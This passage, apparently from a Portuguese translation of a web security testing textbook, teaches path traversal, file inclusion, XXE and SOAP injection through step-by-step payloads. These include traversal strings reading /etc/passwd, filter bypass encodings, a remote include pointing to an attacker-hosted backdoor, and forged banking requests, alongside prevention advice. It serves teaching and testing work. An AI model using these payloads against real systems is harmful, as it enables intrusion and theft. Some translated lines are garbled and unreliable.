Se você encontrar instâncias em que o envio de sequências de travessia sem pingar por etapas acima do diretório inicial não afeta o comportamento do aplicativo, o próximo teste é tentar atravessar para fora do diretório inicial e acessar arquivos de outros locais no sistema de arquivos do servidor.

ETAPAS DO HACK

1. Se a função do aplicativo que você está atacando fornecer acesso de leitura a um arquivo, tente acessar um arquivo conhecido e legível no sistema operacional em questão. Envie um dos seguintes valores como o parâmetro filename que você controla:

   ```
   ../../../../../../../../../../../../../etc/passwd
   ../../../../../../../../../../../../../windows/win.ini
   ```

   Se você tiver sorte, seu navegador exibirá o conteúdo do arquivo solicitado, conforme mostrado na Figura 10-5.

2. Se a função que você está atacando fornece acesso de gravação a um arquivo, pode ser mais difícil verificar de forma conclusiva se o aplicativo é vulnerável. Um teste que costuma ser eficaz é tentar gravar dois arquivos: um que possa ser gravado por qualquer usuário e outro que não possa ser gravado nem mesmo pelo root ou pelo administrador. Por exemplo, em plataformas Windows, você pode tentar o seguinte:

   ```
   ../../../../../../../../../../../../../writetest.txt
   ../../../../../../../../../../../../../windows/system32/config/sam
   ```

   Nas plataformas baseadas em UNIX, os arquivos que o root não pode gravar dependem da versão, mas a tentativa de substituir um diretório por um arquivo sempre deve falhar, portanto, você pode tentar isso:

   ```
   ../../../../../../../../../../../../../tmp/writetest.txt
   ../../../../../../../../../../../../../tmp
   ```

   Para cada par de testes, se o comportamento do aplicativo for diferente em resposta à primeira e à segunda solicitações (por exemplo, se a segunda retornar uma mensagem de erro, mas a primeira não), o aplicativo provavelmente é vulnerável.

3. Um método alternativo para verificar uma falha de travessia com acesso de gravação é tentar gravar um novo arquivo na raiz da Web do servidor da Web e, em seguida, tentar recuperá-lo com um navegador. No entanto, esse método pode não funcionar se você não souber o local do diretório raiz da Web ou se o contexto do usuário no qual o acesso ao arquivo ocorre não tiver permissão para gravar lá.

Figura 10-5: Um ataque bem-sucedido de path traversal

OBSERVAÇÃO Praticamente todos os sistemas de arquivos toleram sequências transversais redundantes que parecem tentar se mover acima da raiz do sistema de arquivos. Por isso, geralmente é aconselhável enviar um grande número de sequências transversais ao sondar um flaw, como nos exemplos dados aqui. É possível que o diretório inicial ao qual seus dados são anexados esteja no fundo do sistema de arquivos, portanto, usar um número excessivo de sequências ajuda a evitar falsos negativos.

Além disso, a plataforma Windows tolera barras e barras invertidas como separadores de diretório, enquanto as plataformas baseadas em UNIX toleram apenas a barra invertida. Além disso, alguns aplicativos da Web filtram uma versão, mas não
o outro. Mesmo que você tenha certeza de que o servidor Web está executando um sistema operacional baseado em UNIX, o aplicativo ainda pode estar chamando um componente back-end baseado em Windows. Por esse motivo, é sempre aconselhável tentar as duas versões ao procurar falhas de travessia.

Contornando obstáculos para ataques transversais

Se suas tentativas iniciais de realizar um ataque transversal (conforme descrito acima) não forem bem-sucedidas, isso não significa que o aplicativo não seja vulnerável. Muitos desenvolvedores de aplicativos estão cientes das vulnerabilidades de path traversal e implementam vários tipos de verificações de validação de entrada na tentativa de evitá-las. No entanto, essas defesas geralmente são falhas e podem ser contornadas por um invasor habilidoso.

O primeiro tipo de filtro de entrada comumente encontrado envolve verificar se o parâmetro filename contém alguma sequência de passagem de caminho. Em caso afirmativo, o filtro rejeita a solicitação ou tenta higienizar a entrada para remover as sequências. Esse tipo de filtro geralmente é vulnerável a vários ataques que usam codificações nativas alteradas e outros truques para burlar o filtro. Todos esses ataques exploram o tipo de problemas de canonização enfrentados pelos mecanismos de validação de entrada, conforme descrito no Capítulo 2.

ETAPAS DO HACK

1. Sempre tente sequências de passagem de caminho usando barras e barras invertidas. Muitos filtros de entrada verificam apenas um deles, quando o sistema de arquivos pode suportar ambos.
2. Experimente representações simples codificadas por URL de sequências transversais usando as seguintes codificações. Certifique-se de codificar cada barra e ponto em sua entrada:
   - Ponto - **%2e**
   - Barra para frente - **%2f**
   - Barra invertida - **%5c**
3. Tente usar a codificação Unicode de 16 bits:
   - Ponto - **%u002e**
   - Barra para frente - **%u2215**
   - Barra invertida - **%u2216**
4. Tente duplicar a codificação do URL:
   - Ponto - **%252e**
   - Barra para frente - **%252f**
   - Barra invertida - **%255c**
5. Experimente a codificação Unicode UTF-8 muito longa:
   - Ponto - **%c0%2e**, **%e0%40%ae**, **%c0ae** e assim por diante
   - Barra invertida - **%c0%af**, **%e0%80%af**, **%c0%2f** e assim por diante
   - Barra invertida - **%c0%5c**, **%c0%80%5c** e assim por diante

   Você pode usar o tipo de carga útil Unicode ilegal no Burp Intruder para gerar um grande número de representações alternativas de qualquer caractere e enviá-las para o local relevante no parâmetro de destino. Essas representações violam estritamente as regras de representação do Unicode, mas, mesmo assim, são aceitas por muitas implementações de decodificadores Unicode, especialmente na plataforma Windows.
6. Se o aplicativo estiver tentando higienizar a entrada do usuário removendo sequências versáteis e não aplicar esse filtro recursivamente, pode ser possível contornar o filtro colocando uma sequência dentro de outra. Por exemplo:

```
....//
....\/
..../\
....\\
```

EXPERIMENTE!

```
http://mdsec.net/filestore/30/
http://mdsec.net/filestore/39/
http://mdsec.net/filestore/46/
http://mdsec.net/filestore/59/
http://mdsec.net/filestore/65/
```

O segundo tipo de filtro de entrada comumente encontrado em defesas contra ataques de path traversal envolve verificar se o nome de arquivo fornecido pelo usuário contém um sufixo (tipo de arquivo) ou prefixo (diretório inicial) que o aplicativo espera. Esse tipo de defesa pode ser usado em conjunto com os filtros já descritos.

ETAPAS DO HACK

1. Alguns aplicativos verificam se o nome de arquivo fornecido pelo usuário termina em um determinado tipo de arquivo ou conjunto de tipos de arquivo e rejeitam tentativas de acesso
   qualquer outra coisa. Às vezes, essa verificação pode ser subvertida com a colocação de um byte nulo codificado por URL no final do nome do arquivo solicitado, seguido de um tipo de arquivo aceito pelo aplicativo. Por exemplo:

   ```
   ../../../../../boot.ini%00.jpg
   ```

   O motivo pelo qual esse ataque às vezes é bem-sucedido é que a verificação do tipo de arquivo é implementada usando uma API em um ambiente de execução gerenciado no qual é permitido que as cadeias de caracteres contenham caracteres nulos (como `String. endsWith()` em Java). No entanto, quando o arquivo é realmente recuperado, o O aplicativo usa uma API em um ambiente não gerenciado no qual as cadeias de caracteres têm terminação nula. Portanto, seu nome de arquivo é efetivamente truncado para o valor desejado.
2. Alguns aplicativos tentam controlar o tipo de arquivo que está sendo acessado acrescentando seu próprio sufixo de tipo de arquivo ao nome de arquivo fornecido pelo usuário. Nessa situação, qualquer uma das explorações anteriores pode ser eficaz, pelos mesmos motivos.
3. Alguns aplicativos verificam se o nome de arquivo fornecido pelo usuário começa com um subdiretório específico do diretório inicial ou até mesmo com um nome de arquivo específico. Essa verificação pode, é claro, ser contornada facilmente da seguinte forma:

   ```
   armazenamento de arquivos/../../../../../../../../../etc/passwd
   ```

4. Se nenhum dos ataques anteriores contra filtros de entrada for bem-sucedido individualmente, o aplicativo poderá estar implementando vários tipos de filtros. Portanto, você precisa combinar vários desses ataques simultaneamente (tanto contra filtros de sequência transversal quanto contra filtros de tipo de arquivo ou diretório). Se

ETAPAS DO HACK

Se possível, a melhor abordagem aqui é tentar dividir o problema em estágios separados. Por exemplo, se a solicitação de:

```
diagrama1.jpg
```

é bem-sucedido, mas a solicitação de:

```
foo/../diagrama1.jpg
```

falhar, tente todos os possíveis desvios de sequência transversal até que uma variação da segunda solicitação seja bem-sucedida. Se esses desvios bem-sucedidos da sequência de travessia não permitirem que você acesse **o arquivo /etc/passwd**, verifique se há alguma filtragem de tipo de arquivo implementada que possa ser contornada por meio da solicitação:

```
diagrama1.jpg%00.jpg
```

Trabalhando inteiramente dentro do diretório inicial definido pelo aplicativo, tente sondar para entender todos os filtros que estão sendo implementados e veja se cada um pode ser contornado individualmente com as técnicas descritas.

5. Obviamente, se você tiver acesso à caixa branca do aplicativo, sua tarefa será muito mais fácil, pois poderá trabalhar sistematicamente com diferentes tipos de entrada e verificar de forma conclusiva qual nome de arquivo (se houver) está realmente chegando ao sistema de arquivos.

Como lidar com a codificação personalizada

Provavelmente, o bug de travessia de caminho mais maluco que os autores encontraram envolveu um esquema de codificação personalizado para nomes de arquivos que, em última análise, foram tratados de forma insegura. Isso demonstrou como a ofuscação não substitui a segurança. O aplicativo continha algumas funcionalidades de fluxo de trabalho que permitiam aos usuários fazer upload e download de arquivos. A solicitação que realizava o upload fornecia um parâmetro de nome de arquivo que era vulnerável a um ataque de path traversal ao gravar o arquivo. Quando o upload de um arquivo era bem-sucedido, o aplicativo fornecia usuários com um URL para fazer o download novamente. Havia duas ressalvas importantes:

- O aplicativo verificava se o arquivo a ser gravado já existia. Se já existisse, o aplicativo se recusava a substituí-lo.
- Os URLs gerados para o download dos arquivos dos usuários eram representados usando um esquema de ofuscação proprietário. Esse esquema parecia ser uma forma personalizada de codificação Base64, na qual um conjunto de caracteres diferente era empregado em cada posição do nome de arquivo codificado.

Em conjunto, essas ressalvas representavam uma barreira para a exploração direta da vulnerabilidade. Primeiro, embora fosse possível gravar arquivos arbitrários no

o sistema de arquivos do servidor, não foi possível sobrescrever nenhum arquivo existente. Além disso, os baixos privilégios do processo do servidor Web significavam que não era possível criar um novo arquivo em nenhum local interessante. Em segundo lugar, não era possível solicitar um arquivo arbitrário existente (como `/etc/passwd`) sem fazer engenharia reversa da codificação personalizada, o que representava um desafio demorado e pouco atraente.

Um pouco de experimentação revelou que os URLs ofuscados continham a cadeia de caracteres do nome do arquivo original fornecida pelo usuário. Por exemplo:

- `test.txt` tornou-se `zM1YTU4NTY2Y`
- `foo/../test.txt` tornou-se `E1NzUyMzE0ZjQ0NjMzND`

A diferença no comprimento dos URLs codificados indicou que nenhuma canonização de caminho foi realizada antes da aplicação da codificação. Esse comportamento nos deu uma base suficiente para explorar a vulnerabilidade. A primeira etapa foi enviar um arquivo com o seguinte nome:

```
../../../../../../../../etc/passwd/../../tmp/foo
```

que, em sua forma canônica, é equivalente a:

```
/tmp/foo
```

Portanto, ele poderia ser gravado pelo servidor da Web. O upload desse arquivo produziu um URL de download contendo o seguinte nome de arquivo ofuscado:

```
FhwUk1rNXFUVEJOZW1kNlRsUk5NazE2V1RKTmFrMHdUbXBWZWs1NldYaE5lb
```

Para modificar esse valor para retornar o arquivo `/etc/passwd`, bastava truncá-lo no ponto certo, que era:

```
FhwUk1rNXFUVEJOZW1kNlRsUk5NazE2V1RKTmFrM
```

A tentativa de baixar um arquivo usando esse valor retornou o arquivo `passwd` do servidor como esperado. O servidor nos forneceu recursos suficientes para poder codificar caminhos de arquivos arbitrários usando seu esquema, sem nem mesmo decifrar o algoritmo de ofuscação que estava sendo usado!

OBSERVAÇÃO Você deve ter notado o aparecimento de um `./` redundante no nome do nosso arquivo carregado. Isso foi necessário para garantir que nosso URL truncado terminasse em um limite de 3 bytes de texto não criptografado e, portanto, em um limite de 4 bytes de texto codificado, de acordo com o esquema de codificação Base64. O truncamento de um URL codificado no meio de um bloco codificado quase certamente causaria um erro quando decodificado no servidor.

Exploração de vulnerabilidades de travessia

Tendo identificado uma vulnerabilidade de path traversal que fornece acesso de leitura ou gravação a arquivos arbitrários no sistema de arquivos do servidor, que tipo de ataques você pode realizar explorando-os? Na maioria dos casos, você descobrirá que tem o mesmo nível de acesso de leitura/gravação ao sistema de arquivos que o processo do servidor Web.

ETAPAS DO HACK

Você pode explorar as falhas de passagem de caminho de acesso de leitura para recuperar arquivos interessantes do servidor que possam conter informações diretamente úteis ou que o ajudem a refinar ataques contra outras vulnerabilidades. Por exemplo:

- Arquivos de senha para o sistema operacional e o aplicativo
- Arquivos de configuração de servidores e aplicativos para descobrir outras vulnerabilidades ou ajustar um ataque diferente
- Incluir arquivos que possam conter credenciais de banco de dados
- Fontes de dados usadas pelo aplicativo, como arquivos de banco de dados MySQL ou arquivos XML
- O código-fonte das páginas executáveis no servidor para realizar uma revisão de código em busca de erros (por exemplo, **`GetImage.aspx?file=GetImage.aspx`**)
- Arquivos de registro de aplicativos que podem conter nomes de usuário, tokens de sessão e similares

Se você encontrar uma vulnerabilidade de passagem de caminho que conceda acesso de gravação, seu principal objetivo deverá ser explorar isso para obter a execução arbitrária de comandos no servidor. Aqui estão algumas maneiras de explorar essa vulnerabilidade:

- Crie scripts nas pastas de inicialização dos usuários.
- Modifique arquivos como **`in.ftpd`** para executar comandos arbitrários quando um usuário se conectar novamente.
- Escreva scripts em um diretório da Web com permissões de execução e chame-os pelo navegador.

Prevenção de vulnerabilidades de path traversal

De longe, o meio mais eficaz de eliminar as vulnerabilidades de path traversal é evitar passar dados enviados pelo usuário para qualquer API do sistema de arquivos. Em muitos casos, inclusive no exemplo original `GetFile.ashx?filename=keira.jpg`, é desnecessário que um aplicativo faça isso. A maioria dos arquivos que não estão sujeitos a nenhum controle de acesso pode simplesmente ser colocada na raiz da Web e acessada por meio de um URL direto. Se esse

não for possível, o aplicativo pode manter uma lista codificada de arquivos de imagem que podem ser servidos pela página. Ele pode usar um identificador diferente para especificar qual arquivo é necessário, como um número de índice. Qualquer solicitação que contenha um identificador inválido pode ser rejeitada, e não há superfície de ataque para os usuários manipularem o caminho dos arquivos fornecidos pela página.

Em alguns casos, como na funcionalidade de fluxo de trabalho que permite o upload e o download de arquivos, pode ser desejável permitir que os usuários especifiquem os arquivos pelo nome. Os desenvolvedores podem decidir que a maneira mais fácil de implementar isso é passar o nome do arquivo fornecido pelo usuário para as APIs do sistema de arquivos. Nessa situação, o aplicativo deve adotar uma abordagem de defesa em profundidade para colocar vários obstáculos no caminho de um ataque de passagem de caminho.

Aqui estão alguns exemplos de defesas que podem ser usadas; idealmente, o maior número possível dessas defesas deve ser implementado em conjunto:

- Depois de executar toda a decodificação e canonização relevantes do nome de arquivo enviado pelo usuário, o aplicativo deve verificar se ele contém uma das sequências de passagem de caminho (usando barras invertidas ou barras invertidas) ou qualquer byte nulo. Em caso afirmativo, o aplicativo deve interromper o processamento da solicitação. Ele não deve tentar executar nenhuma sanitização no nome de arquivo malicioso.
- O aplicativo deve usar uma lista codificada de tipos de arquivos permitidos e rejeitar qualquer solicitação de um tipo diferente (após a decodificação e a canonização anteriores terem sido realizadas).
- Depois de realizar toda a filtragem no nome de arquivo fornecido pelo usuário, o aplicativo deve usar APIs adequadas do sistema de arquivos para verificar se não há nada errado e se o arquivo a ser acessado usando esse nome de arquivo está localizado no diretório inicial especificado pelo aplicativo.

  Em Java, isso pode ser feito instanciando um objeto `java.io.File` usando o nome de arquivo fornecido pelo usuário e, em seguida, chamando o método `getCanonicalPath` nesse objeto. Se a cadeia de caracteres retornada por esse método não começar com o nome do diretório inicial, o usuário de alguma forma contornou os filtros de entrada do aplicativo e a solicitação deverá ser rejeitada.

  No ASP.NET, isso pode ser feito passando o nome do arquivo fornecido pelo usuário para o método `System.Io.Path.GetFullPath` e verificando a cadeia de caracteres retornada da mesma forma descrita para Java.

O aplicativo pode atenuar o impacto da maioria das vulnerabilidades exploráveis de path traversal usando um ambiente `chrooted` para acessar o diretório que contém os arquivos a serem acessados. Nessa situação, o diretório `chrooted` é tratado como

se for a raiz do sistema de arquivos, e todas as sequências transversais redundantes que tentam subir acima dela são ignoradas. Os sistemas de arquivos `chrooted` são suportados nativamente na maioria das plataformas baseadas em UNIX. Um efeito semelhante pode ser obtido em plataformas Windows (pelo menos em relação a vulnerabilidades de passagem) montando o diretório inicial relevante como uma nova unidade lógica e usando a letra da unidade associada para acessar seu conteúdo.

O aplicativo deve integrar suas defesas contra ataques de path traversal com seus mecanismos de registro e alerta. Sempre que for recebida uma solicitação que contenha sequências de passagem de caminho, isso indica uma provável intenção maliciosa por parte do usuário. O aplicativo deve registrar a solicitação como uma tentativa de violação de segurança, encerrar a sessão do usuário e, se for o caso, suspender a conta do usuário e gerar um alerta para um administrador.

Vulnerabilidades de inclusão de arquivos

Muitas linguagens de script suportam o uso de arquivos de inclusão. Esse recurso permite que os desenvolvedores coloquem componentes de código reutilizáveis em arquivos separados e os incluam em arquivos de código específicos da função quando necessário. O código dentro do arquivo incluído é interpretado exatamente como se tivesse sido inserido no local da diretiva include.

Inclusão de arquivos remotos

A linguagem PHP é particularmente suscetível a vulnerabilidades de inclusão de arquivos porque suas funções de inclusão podem aceitar um caminho de arquivo remoto. Essa tem sido a base de várias vulnerabilidades em aplicativos PHP.

Considere um aplicativo que fornece conteúdo diferente para pessoas em locais diferentes. Quando os usuários escolhem seu local, isso é comunicado ao servidor por meio de um parâmetro de solicitação, como segue:

```
https://wahh-app.com/main.php?Country=US
```

O aplicativo processa o parâmetro `Country` da seguinte forma:

```
$country = $_GET['Country'];
include( $country . '.php' );
```

Isso faz com que o ambiente de execução carregue o arquivo `US.php` que está localizado no sistema de arquivos do servidor da Web. O conteúdo desse arquivo é efetivamente copiado para o arquivo `main.php` e executado.

Um invasor pode explorar esse comportamento de diferentes maneiras, sendo que a mais grave delas é especificar um URL externo como o local do arquivo de inclusão. A função de inclusão do PHP aceita isso como entrada, e o ambiente de execução recupera o arquivo especificado e executa seu conteúdo. Assim, um invasor pode criar um script malicioso com conteúdo arbitrariamente complexo, hospedá-lo em um servidor da Web que ele controla e invocá-lo para execução por meio da função de aplicativo vulnerável. Por exemplo:

```
https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor
```

Inclusão de arquivos locais

Em alguns casos, os arquivos de inclusão são carregados com base em dados controláveis pelo usuário, mas não é possível especificar um URL para um arquivo em um servidor externo. Por exemplo, se os dados controláveis pelo usuário forem passados para a função ASP `Server.Execute`, um invasor poderá fazer com que um script ASP arbitrário seja executado, desde que esse script pertença ao mesmo aplicativo que está chamando a função.

Nessa situação, você ainda poderá explorar o comportamento do aplicativo para executar ações não autorizadas:

- Pode haver arquivos executáveis no servidor que não podem ser acessados pela rota normal. Por exemplo, qualquer solicitação para o caminho `/admin` pode ser bloqueada por controles de acesso em todo o aplicativo. Se você puder fazer com que uma funcionalidade confidencial seja incluída em uma página que você está autorizado a acessar, poderá obter acesso a essa funcionalidade.
- Pode haver recursos estáticos no servidor que estejam protegidos de forma semelhante contra o acesso direto. Se você puder fazer com que eles sejam incluídos dinamicamente em outras páginas de aplicativos, o ambiente de execução geralmente copia o conteúdo do recurso estático em sua resposta.

Localização de vulnerabilidades de inclusão de arquivos

As vulnerabilidades de inclusão de arquivos podem surgir em relação a qualquer item de dados fornecidos pelo usuário. Elas são particularmente comuns em parâmetros de solicitação que especificam um idioma ou local. Também costumam surgir quando o nome de um arquivo do lado do servidor é passado explicitamente como um parâmetro.

ETAPAS DO HACK

Para testar as leis de inclusão de arquivos remotos, siga estas etapas:

1. Envie em cada parâmetro direcionado um URL para um recurso em um servidor da Web que você controla e determine se alguma solicitação é recebida do servidor que hospeda o aplicativo de destino.
2. Se o primeiro teste falhar, tente enviar um URL que contenha um endereço IP inexistente e determine se ocorre um tempo limite enquanto o servidor tenta se conectar.
3. Se for constatado que o aplicativo é vulnerável à inclusão remota de arquivos, estruture um script malicioso usando as APIs disponíveis na linguagem relevante, conforme descrito para ataques de execução dinâmica.

As vulnerabilidades de inclusão de arquivos locais podem existir em uma variedade muito maior de ambientes de script do que aqueles que suportam a inclusão remota de arquivos. Para testar as vulnerabilidades de inclusão de arquivos locais, siga estas etapas:

1. Envie o nome de um recurso executável conhecido no servidor e determine se ocorre alguma alteração no comportamento do aplicativo.
2. Envie o nome de um recurso estático conhecido no servidor e determine se o seu conteúdo é copiado na resposta do aplicativo.
3. Se o aplicativo for vulnerável à inclusão de arquivos locais, tente acessar qualquer funcionalidade ou recurso sensível que não possa ser acessado diretamente pelo servidor da Web.
4. Teste para ver se é possível acessar arquivos em outros diretórios usando as técnicas de passagem descritas anteriormente.

Injetando em interpretadores XML

O XML é amplamente usado nos aplicativos da Web atuais, tanto em solicitações e respostas entre o navegador e o servidor de aplicativos front-end quanto em mensagens entre componentes de aplicativos back-end, como serviços SOAP. Esses dois locais são suscetíveis a ataques em que a entrada criada é usada para interferir na operação do aplicativo e, normalmente, executar alguma ação não autorizada.

Injeção de entidades externas XML

Nos aplicativos da Web atuais, o XML é frequentemente usado para enviar dados do cliente para o servidor. O aplicativo no lado do servidor age com base nesses dados e pode retornar uma resposta contendo XML ou dados em qualquer outro formato. Esse comportamento é mais comumente encontrado em aplicativos baseados em Ajax, em que solicitações assíncronas são usadas para se comunicar em segundo plano. Ele também pode aparecer no contexto de componentes de extensão do navegador e outras tecnologias do lado do cliente.

Por exemplo, considere uma função de pesquisa que, para proporcionar uma experiência de usuário perfeita, é implementada usando Ajax. Quando um usuário digita um termo de pesquisa, um script do lado do cliente emite a seguinte solicitação para o servidor:

```
POST /search/128/AjaxSearch.ashx HTTP/1.1 Host:
mdsec.net
Content-Type: text/xml; charset=UTF-8
Content-Length: 44

<Search><SearchTerm>nada mudará</SearchTerm></Search>
```

A resposta do servidor é a seguinte (embora possam existir vulnerabilidades com relação ao formato usado nas respostas):

```
HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: 81

<Search><SearchResult>Não foram encontrados resultados para a expressão: nada será
alterado</SearchResult></Search>
```

O script do lado do cliente processa essa resposta e atualiza parte da interface do usuário com os resultados da pesquisa.

Ao encontrar esse tipo de funcionalidade, você deve sempre verificar se há injeção de entidade externa XML (XXE). Essa vulnerabilidade surge porque as bibliotecas padrão de análise de XML suportam o uso de referências a entidades. Elas são simplesmente um método de referência a dados dentro ou fora do documento XML. As referências a entidades devem ser familiares em outros contextos. Por exemplo, as entidades correspondentes aos caracteres < e > são as seguintes:

```
&lt;
&gt;
```

O formato XML permite que entidades personalizadas sejam definidas no próprio documento XML. Isso é feito dentro do elemento `DOCTYPE` opcional no início do documento. Por exemplo:

```
<!DOCTYPE foo [ <!ENTITY testref "testrefvalue" > ]>
```

Se um documento contiver essa definição, o analisador substituirá todas as ocorrências da referência de entidade `&testref;` no documento pelo valor definido, `testrefvalue`.

Além disso, a especificação XML permite que as entidades sejam definidas usando referências externas, cujo valor é obtido dinamicamente pelo analisador XML. Essas definições de entidades externas usam o formato de URL e podem se referir a URLs ou recursos externos da Web no sistema de arquivos local. O analisador XML obtém o conteúdo do URL ou arquivo especificado e o utiliza como o valor da entidade definida. Se o aplicativo retornar em sua resposta quaisquer partes dos dados XML que usem uma entidade definida externamente, o conteúdo do arquivo ou URL especificado será retornado na resposta.

As entidades externas podem ser especificadas na solicitação baseada em XML do invasor, adicionando um elemento `DOCTYPE` adequado ao XML (ou modificando o elemento, se ele já existir). Uma referência de entidade externa é especificada usando a palavra-chave `SYSTEM`, e sua definição é um URL que pode usar o protocolo `file:`.

No exemplo anterior, o invasor pode enviar a seguinte solicitação, que define uma entidade externa XML que faz referência a um arquivo no sistema de arquivos do servidor:

```
POST /search/128/AjaxSearch.ashx HTTP/1.1
Host: mdsec.net
Content-Type: text/xml; charset=UTF-8
Content-Length: 115

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///windows/win.ini" > ]>
<Search><SearchTerm>&xxe;</SearchTerm></Search>
```

Isso faz com que o analisador XML busque o conteúdo do arquivo especificado e o use no lugar da referência de entidade definida, que o invasor usou no elemento `SearchTerm`. Como o valor desse elemento é ecoado na resposta do aplicativo, isso faz com que o servidor responda com o conteúdo do arquivo, como segue:

```
HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: 556

<Search><SearchResult>Não foram encontrados resultados para a expressão: ;
para suporte a aplicativos de 16 bits
 [fontes]
 [extensões]
 [extensões mci]
 [arquivos]
...
```

EXPERIMENTE!

`http://mdsec.net/search/128/`

Além de usar o protocolo `file:` para especificar recursos no sistema de arquivos local, o invasor pode usar protocolos como `http:` para fazer com que o servidor busque recursos na rede. Esses URLs podem especificar hosts, endereços IP e portas arbitrários. Eles podem permitir que o invasor interaja com serviços de rede em sistemas back-end que não podem ser acessados diretamente da Internet. Por exemplo, o ataque a seguir tenta se conectar a um servidor de e-mail em execução na porta 25 no endereço IP privado 192.168.1.1:

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1:25" > ]>
<Search><SearchTerm>&xxe;</SearchTerm></Search>
```

Essa técnica pode permitir a realização de vários ataques:

- O invasor pode usar o aplicativo como proxy, recuperando conteúdo confidencial de qualquer servidor da Web que o aplicativo possa acessar, inclusive daqueles executados internamente na organização em um espaço de endereço privado e não roteável.
- O invasor pode explorar vulnerabilidades em aplicativos da Web de back-end, desde que elas possam ser exploradas por meio do URL.
- O invasor pode testar as portas abertas nos sistemas back-end percorrendo um grande número de endereços IP e números de porta. Em alguns casos, as diferenças de tempo podem ser usadas para inferir o estado de uma porta solicitada. Em outros casos, os banners de alguns serviços podem realmente ser retornados nas respostas do aplicativo.

Por fim, se o aplicativo recuperar a entidade externa, mas não a retornar nas respostas, ainda será possível causar uma negação de serviço ao ler um fluxo de arquivos indefinidamente. Por exemplo:

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM " file:///dev/random"> ]>
```

Injetando em serviços SOAP

O SOAP (Simple Object Access Protocol) é uma tecnologia de comunicação baseada em mensagens que usa o formato XML para encapsular dados. Ele pode ser usado para compartilhar informações e transmitir mensagens entre sistemas, mesmo que esses sistemas sejam executados em sistemas operacionais e arquiteturas diferentes. Seu principal uso é em serviços da Web. No contexto de um aplicativo da Web acessado pelo navegador, é mais provável que você encontre SOAP nas comunicações que ocorrem entre os componentes de aplicativos back-end.

O SOAP é frequentemente usado em aplicativos corporativos de grande escala, em que tarefas individuais são executadas por diferentes computadores para melhorar o desempenho. Também é comum encontrar um aplicativo da Web implantado como front-end de um aplicativo existente. Nessa situação, as comunicações entre diferentes componentes podem ser implementadas usando SOAP para garantir a modularidade e a interoperabilidade.

Como o XML é uma linguagem interpretada, o SOAP é potencialmente vulnerável à injeção de código de forma semelhante aos outros exemplos já descritos. Os elementos XML são representados sintaticamente, usando os metacaracteres <, > e /. Se os dados fornecidos pelo usuário contendo esses caracteres forem inseridos diretamente em uma mensagem SOAP, um invasor poderá interferir na estrutura da mensagem e, portanto, interferir na lógica do aplicativo ou causar outros efeitos indesejáveis.

Considere um aplicativo bancário no qual um usuário inicia uma transferência de fundos usando uma solicitação HTTP como a seguinte:

```
POST /bank/27/Default.aspx HTTP/1.0
Host: mdsec.net
Content-Length: 65

FromAccount=18281008&Amount=1430&ToAccount=08447656&Submit=Submit
```

Durante o processamento dessa solicitação, a seguinte mensagem SOAP é enviada entre dois dos componentes de back-end do aplicativo:

```
<soap:Envelope xmlns:soap="http://www.w3.org/2001/12/soap-envelope">
  <soap:Body>
      <pre:Add xmlns:pre=http://target/lists soap:encodingStyle=
"http://www.w3.org/2001/12/soap-encoding">
      <Conta>
        <FromAccount>18281008</FromAccount>
        <Amount>1430</Amount>
        <ClearedFunds>False</ClearedFunds>
        <ToAccount>08447656</ToAccount>
      </Account>
     </pre:Add>
   </soap:Body>
</soap:Envelope>
```

Observe como os elementos XML da mensagem correspondem aos parâmetros da solicitação HTTP e também a adição do elemento `ClearedFunds`. Nesse ponto da lógica do aplicativo, ele determinou que não há fundos suficientes disponíveis para realizar a transferência solicitada e definiu o valor desse elemento como `False`. Como resultado, o componente que recebe a mensagem SOAP não age sobre ela.

Nessa situação, há várias maneiras pelas quais você poderia tentar injetar na mensagem SOAP e, portanto, interferir na lógica do aplicativo. Por exemplo, o envio da solicitação a seguir faz com que um elemento `ClearedFunds` adicional seja inserido na mensagem antes do elemento original (preservando a validade sintática do SQL). Se o aplicativo processar o primeiro elemento `ClearedFunds` que encontrar, você poderá conseguir realizar uma transferência quando não houver fundos disponíveis:

```
POST /bank/27/Default.aspx HTTP/1.0
Host: mdsec.net
```

```
Content-Length: 119

FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True
</ClearedFunds><Amount>1430&ToAccount=08447656&Submit=Submit
```

Por outro lado, se o aplicativo processar o último elemento `ClearedFunds` que encontrar, você poderá injetar um ataque semelhante no parâmetro `ToAccount`.

Um tipo diferente de ataque seria usar comentários XML para remover parte da mensagem SOAP original e substituir os elementos removidos pelos seus próprios. Por exemplo, a solicitação a seguir injeta um elemento `ClearedFunds` por meio do parâmetro `Amount`, fornece a tag de abertura para o elemento `ToAccount`, abre um comentário e fecha o comentário no parâmetro `ToAccount`, preservando assim a validade sintática do XML:

```
POST /bank/27/Default.aspx HTTP/1.0
Host: mdsec.net
Content-Length: 125

FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True
</ClearedFunds><ToAccount><!--&ToAccount=-->08447656&Submit=Submit
```

Um outro tipo de ataque seria tentar completar toda a mensagem SOAP a partir de um parâmetro injetado e comentar o restante da mensagem. No entanto, como o comentário de abertura não será correspondido por um comentário de fechamento, esse ataque produz um XML estritamente inválido, que muitos analisadores de XML rejeitarão. É provável que esse ataque funcione apenas contra um analisador de XML personalizado e desenvolvido internamente, e não contra qualquer biblioteca de análise de XML:

```
POST /bank/27/Default.aspx HTTP/1.0
Host: mdsec.net
Content-Length: 176

FromAccount=18281008&Amount=1430</Amount><ClearedFunds>True
</ClearedFunds>
<ToAccount>08447656</ToAccount></Account></pre:Add></soap:Body>
</soap:Envelope>
<!--&Submit=Submit
```

EXPERIMENTE!

Esse exemplo contém uma mensagem de erro útil que permite ajustar seu ataque:

`http://mdsec.net/bank/27/`

Os exemplos a seguir contêm a mesma vulnerabilidade, mas o feedback de erro é muito mais escasso. Está vendo como pode ser difícil explorar a injeção SOAP sem mensagens de erro úteis?

`http://mdsec.net/bank/18/`

`http://mdsec.net/bank/6/`

Como encontrar e explorar a injeção de SOAP

A injeção de SOAP pode ser difícil de detectar, pois o fornecimento de metacaracteres XML de forma não artesanal quebra o formato da mensagem SOAP, geralmente resultando em uma mensagem de erro não informativa. No entanto, as etapas a seguir podem ser usadas para detectar vulnerabilidades de injeção SOAP com um certo grau de confiabilidade.

ETAPAS DO HACK

